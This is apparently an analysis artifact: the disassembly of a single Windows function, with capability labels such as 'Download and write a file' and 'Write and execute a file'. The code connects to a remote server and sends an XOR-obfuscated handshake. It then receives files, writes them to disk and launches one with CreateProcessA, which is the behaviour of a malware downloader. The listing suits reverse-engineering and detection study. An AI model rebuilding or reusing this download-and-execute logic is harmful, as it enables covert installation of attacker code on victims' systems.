Function at 0x140001520
Capabilities:
Check if file exists
Connect socket
Convert ip address from string
Create directory
Create process on windows
Download and write a file
Encode data using xor
Get file attributes
Initialize winsock library
Receive and write data from server to client
Receive data
Receive data on socket
Send data
Send data on socket
Write and execute a file
Write file on windows

Disassembly:
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x420]
sub rsp, 0x520
mov qword [rsp + 0x78], 0xfffffffffffffffe
mov qword [rsp + 0x578], rbx
mov rax, qword [0x140005020]
xor rax, rsp
mov qword [rbp + 0x410], rax
mov r15, r8
mov r13, rdx
mov r14, rcx
mov ecx, 0x202
lea rdx, [rbp + 0x50]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ebx, ebx
cmp eax, 0xffffffff
je 0x140001589
test al, 0x10
jne 0x1400015c2
xor edx, edx
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
setne al
test al, al
jne 0x1400015c2
mov ecx, ebx
mov rdx, r14
nop word [rax + rax]
lea eax, [rcx - 0x30]
mov byte [rdx], al
inc ecx
inc rdx
cmp ecx, 0x7eccb12
jl 0x1400015b0
mov edi, 2
mov ecx, 1
nop dword [rax]
lea r8d, [rcx + 5]
mov edx, ecx
mov ecx, edi
call qword [sym.imp.WS2_32.dll_socket]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140001a45
xor eax, eax
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rax
mov word [rbp - 0x10], di
mov ecx, 0x1bb0
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp - 0xe], ax
lea r8, [rbp - 0xc]
mov rdx, r14
mov ecx, edi
call qword [sym.imp.WS2_32.dll_inet_pton]
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp - 0x10]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x140001948
mov dword [rbp + 0x1f0], 0x999b9b4d
mov dword [rbp + 0x1f4], 0xafa4bf84
mov dword [rbp + 0x1f8], 0xaeb1a7
lea rcx, [rbp + 0x1f0]
mov edx, recv
nop dword [rax]
movzx eax, byte [rcx]
xor al, 0xb4
add al, 0x4c
xor al, 0x77
sub al, 0x77
xor al, 0xe3
add al, 0x1d
xor al, 0x14
sub al, 0x14
mov byte [rcx], al
inc rcx
dec rdx
jne 0x140001660
mov rax, qword [rbp + 0x1f0]
mov qword [rbp], rax
mov eax, dword [rbp + 0x1f8]
mov dword [rbp + 8], eax
xor ecx, ecx
call qword [sym.imp.MSVCR100.dll__time64]
mov rcx, rax
call qword [sym.imp.MSVCR100.dll_srand]
mov rdi, rbx
call qword [sym.imp.MSVCR100.dll_rand]
mov byte [rbp + rdi + 0xc], al
inc rdi
cmp rdi, 0xc
jl 0x1400016a5
lea rdx, [rbp + 0xc]
lea rcx, [rbp]
call fcn.140001060
xor r9d, r9d
lea r8d, [r9 + 0x18]
lea rdx, [rbp]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x1400016e7
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
mov dword [rsp + 0x58], ebx
xor r9d, r9d
lea r8d, [r9 + 4]
lea rdx, [rsp + 0x58]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x14000192f
test eax, eax
je 0x14000192f
mov eax, dword [rsp + 0x58]
test eax, eax
jle 0x14000192f
mov r12d, ebx
cmp r12d, eax
jge 0x140001961
mov dword [rsp + 0x5c], ebx
xor r9d, r9d
lea r8d, [r9 + 4]
lea rdx, [rsp + 0x5c]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x14000192f
test eax, eax
je 0x14000192f
mov edi, dword [rsp + 0x5c]
test edi, edi
jle 0x14000192f
xor edx, edx
mov r8d, 0x100
lea rcx, [rbp + 0x310]
call sub.MSVCR100.dll_memset
xor r9d, r9d
mov r8d, edi
lea rdx, [rbp + 0x310]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x14000192f
test eax, eax
je 0x14000192f
cmp dword [rsp + 0x5c], 0
jle 0x14000192f
mov dword [rsp + 0x50], ebx
xor r9d, r9d
lea r8d, [r9 + 4]
lea rdx, [rsp + 0x50]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x14000192f
test eax, eax
je 0x14000192f
movsxd rax, dword [rsp + 0x50]
test eax, eax
jle 0x14000192f
mov edi, ebx
mov rcx, rax
call qword [sym.imp.MSVCR100.dll_void____ptr64___cdecl_operator_new___unsigned_long_long_unsigned___int64__]
mov rbx, rax
mov ecx, dword [rsp + 0x50]
test ecx, ecx
jle 0x140001838
nop word [rax + rax]
sub ecx, edi
mov eax, 0x400
cmp ecx, eax
cmovg ecx, eax
movsxd rdx, edi
add rdx, rbx
xor r9d, r9d
mov r8d, ecx
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_recv]
mov ecx, dword [rsp + 0x50]
cmp eax, 0xffffffff
je 0x140001836
test eax, eax
je 0x140001838
add edi, eax
cmp edi, ecx
jl 0x140001800
jmp 0x140001838
xor edi, edi
cmp edi, ecx
jne 0x14000190b
mov byte [rbp + 0x200], 0
xor edx, edx
mov r8d, 0x103
lea rcx, [rbp + 0x201]
call sub.MSVCR100.dll_memset
lea rdi, [rbp + 0x200]
xor eax, eax
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
xor ecx, ecx
nop dword [rax]
movzx eax, byte [r13 + rcx]
mov byte [rdi + rcx - 1], al
inc rcx
test al, al
jne 0x140001870
lea rdi, [rbp + 0x200]
xor eax, eax
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
lea rdx, [rbp + 0x310]
xor ecx, ecx
nop dword [rax]
movzx eax, byte [rdx + rcx]
mov byte [rdi + rcx - 1], al
inc rcx
test al, al
jne 0x1400018a0
mov word [rsp + 0x54], 0x6277
mov byte [rsp + 0x56], al
lea rdx, [rsp + 0x54]
lea rcx, [rbp + 0x200]
call qword [sym.imp.MSVCR100.dll_fopen]
mov rdi, rax
test rax, rax
je 0x1400018f4
movsxd rdx, dword [rsp + 0x50]
mov r9, rax
mov r8d, 1
mov rcx, rbx
call qword [sym.imp.MSVCR100.dll_fwrite]
mov rcx, rdi
call qword [sym.imp.MSVCR100.dll_fclose]
mov rcx, rbx
call qword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete___void____ptr64_]
inc r12d
mov eax, dword [rsp + 0x58]
xor ebx, ebx
jmp 0x140001720
mov rcx, rbx
call qword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete___void____ptr64_]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ebx, ebx
jmp 0x1400015c2
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400015c2
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400015c7
xor edx, edx
lea r8d, [rdx + 0x68]
lea rcx, [rbp - 0x80]
call sub.MSVCR100.dll_memset
mov dword [rbp - 0x80], 0x68
mov eax, 1
mov dword [rbp - 0x44], eax
mov word [rbp - 0x40], ax
xor eax, eax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
mov qword [rbp + 0x18], recv
mov qword [rbp + 0x10], rbx
mov byte [rbp], al
or rcx, 0xffffffffffffffff
mov rdi, r13
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
mov rdx, r13
lea rcx, [rbp]
call fcn.140001da0
nop
mov r8, r15
lea rdx, [rbp]
lea rcx, [rbp + 0x28]
call fcn.140002320
nop
cmp qword [rbp + 0x18], 0x10
jb 0x1400019e2
mov rcx, qword [rbp]
call qword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void____ptr64_]
lea rdx, [rbp + 0x28]
cmp qword [rbp + 0x40], 0x10
cmovae rdx, qword [rbp + 0x28]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140001a34
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400019e2
cmp qword [rbp + 0x40], 0x10
jb 0x140001a45
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void____ptr64_]
mov rcx, qword [rbp + 0x410]
xor rcx, rsp
call fcn.1400023d0
mov rbx, qword [rsp + 0x578]
add rsp, 0x520
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret